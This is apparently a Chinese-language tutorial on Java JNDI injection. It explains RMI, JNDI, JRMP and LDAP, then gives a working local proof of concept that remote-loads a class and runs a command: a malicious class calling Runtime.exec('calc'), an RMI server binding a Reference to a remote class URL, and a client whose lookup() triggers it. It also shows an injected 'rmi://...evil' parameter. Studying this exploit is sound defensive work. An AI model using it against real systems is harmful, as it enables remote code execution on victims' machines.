前言

在关于java的一些漏洞中或多或少都看到了JNDI注入的踪迹,比如在java的一些反序列化漏洞中较为常见。浅浅看下JNDI是什么以及都可能会有哪些问题产生。

正文

在分析之前我们需要稍稍过一下这些玩意的概念RMI、JNDI、JRMP、LDAP

RMI:RMI(Remote Method Invocation)基于序列化的java远程方法调用机制,作为一个常见的反序列化入口,它和反序列化漏洞的关系很大。它能够直接传输序列化后的java对象和分布式垃圾收集。 他的实现依赖于JAVA虚拟机(JVM)。因此它仅支持从一个JVM到另一个JVM的调用。

JNDI:JNDI (Java Naming and Directory Interface) 是一组应用程序接口,它为开发人员查找和访问各种资源提供了统一的通用接口,可以用来定位用户、网络、机器、对象和服务等各种资源。JDNI支持通过url直接下载远程class文件的方式去加载执行服务。比如可以利用JNDI在局域网上定位一台打印机,也可以用JNDI来定位数据库服务或一个远程Java对象。JNDI底层支持RMI远程对象,RMI注册的服务可以通过JNDI接口来访问和调用。 JNDI支持多种命名和目录提供程序(Naming and Directory Providers),RMI注册表服务提供程序(RMI Registry Service Provider)允许通过JNDI应用接口对RMI中注册的远程对象进行访问操作。将RMI服务绑定到JNDI的一个好处是更加透明、统一和松散耦合,RMI客户端直接通过URL来定位一个远程对象,根据名字动态加载数据。

1
2
支持的服务主要有以下几种:
DNS、LDAP、CORBA对象服务、RMI

JRMP:JRMP(JAVA Remote Messageing Protocol)是一种协议,是RMI这行为过程中数据传输的规范。RMI涉及到两个端,一个是调用端,一个是被调用端,他们之间会有数据传输,JRMP协议就是对这种形式的数据传输进行规范定义的。就像HTTP协议一样,规定了客户端和服务端通信要满足的规范。

LDAP:LDAP(Light Weight Directory Access Protocol)是一个轻量级存取的协议。优点就在能够快速响应用户的查找需求。

至于JNDI在其中扮演什么的角色,我们简单画个图。用JNDI当做接口,可以轻松访问RMI,LDAP等服务。

RMI和JNDI工作原理

RMI是如何工作的

1
2
3
4
5
服务器创建好继承于Remote接口的类,并把它绑定到RMI服务器上
客户端请求RMI服务器上的类
服务端返回客户端所请求类的存根stub,客户端将这个stub看作实例化对象使用
客户端调用stub的某个方法,并传入参数。该参数会发送到RMI服务器上,由RMI服务器按照客户端传来的参数来执行指定的方法
服务器执行完后将结果返回给客户端

所以从RMI这一端来看,客户端获取了远程对象后所执行的此对象的方法,都是由RMI服务器来执行的,之后RMI服务器会向客户端返回stub或者说一个对象,那如何才能使对象在客户端实例化,方法在这边实现呢?那就要用到JDK中的Reference类了。Reference类表示对存在于命名/目录系统以外的对象的引用,如果远程获取 RMI 服务上的对象为 Reference 类或者其子类,则在客户端获取到远程对象存根实例时,可以从其他服务器上加载 .class 文件来进行实例化。

那如何创建一个Reference实例对象并绑定到RMI注册表呢?

1
2
3
4
// 参数1为远程加载时所使用的类名, 参数2为要加载的类的完整类名,参数3为远程.class文件存放的地址
Reference refObj = new Reference("refClassName", "insClassName", "http://123.com:123/");
ReferenceWrapper refObjWrapper = new ReferenceWrapper(refObj);
registry.bind("refObj", refObjWrapper);//bind为绑定,将名称绑定到对象中

与RMI连用时JNDI如何工作

1
2
3
接收RMI传过来的对象
在本地查询无果后到远程加载
实例化对象

JNDI动态协议转换

1
2
3
4
5
6
//初始化JNDI配置
Properties env = new Properties();
env.put(Context.INITIAL_CONTEXT_FACTORY,"com.sun.jndi.rmi.registry.RegistryContextFactory");
env.put(Context.PROVIDER_URL,"rmi://localhost:1099");//PROVIDER_URL
Context ctx = new InitialContext(env);
ctx.lookup("rmi://123.com");

在基本配置中PROVIDER_URL规定了,当在本地找不到对应的类时该去哪里加载对应类的地址,但是,lookup()方法存在时,可以无视该规定,会加载lookup的地址。

JNDI注入原理

假设client端地址为134.0.0.1,先来看下面一段,JNDI的client端的代码

1
2
Context context = new  InitialContext();
context.lookup(PROVIDER_URL);

其中PROVIDER_URL为可控变量,此时,可以传入任意JNDI服务路径来实现注入,如

1
?PROVIDER_URL=rmi://34.0.0.2:8080evil

当然,简单的加载远程类是能够在目标机器实例化对象的,因为目标机器并没有我们恶意类的.class文件,会用到前面提到的Reference。绑定了Reference之后,服务端会先通过Referenceable.getReference()获取绑定对象的引用,并且在目录中保存。当客户端在lookup()查找这个远程对象时,客户端会获取相应的object factory,最终通过factory类将reference转换为具体的对象实例。

受害机器得到指定类后,实例化对象,执行指定类的构造函数,触发恶意代码。

复现

1
2
3
4
5
6
7
8
9
10
11
12
//恶意对象
import java.lang.Runtime;
import java.lang.Process;

public class aObject {
public aObject() throws Exception {
Runtime rt = Runtime.getRuntime();
String[] commands = {"calc"};
Process pc = rt.exec(commands);
pc.waitFor();
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
//服务端RMI配置,绑定恶意的Reference到rmi注册表
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class Server {
public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
Registry registry = LocateRegistry.createRegistry(1099);
String url = "http://127.0.0.1:6666/";
System.out.println("Create RMI registry on port 1099");
Reference reference = new Reference("aObj", "aObj", url);
ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
registry.bind("a", referenceWrapper);
}

}
1
2
3
4
5
6
7
8
9
10
11
//目标
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;

public class Client {
public static void main(String[] args) throws NamingException {
Context context = new InitialContext();
context.lookup("rmi://localhost:1099/a");
}
}

编译成.class文件,最后运行”目标”代码,弹出计算器。JDK版本为1.7,其他高版本会报错。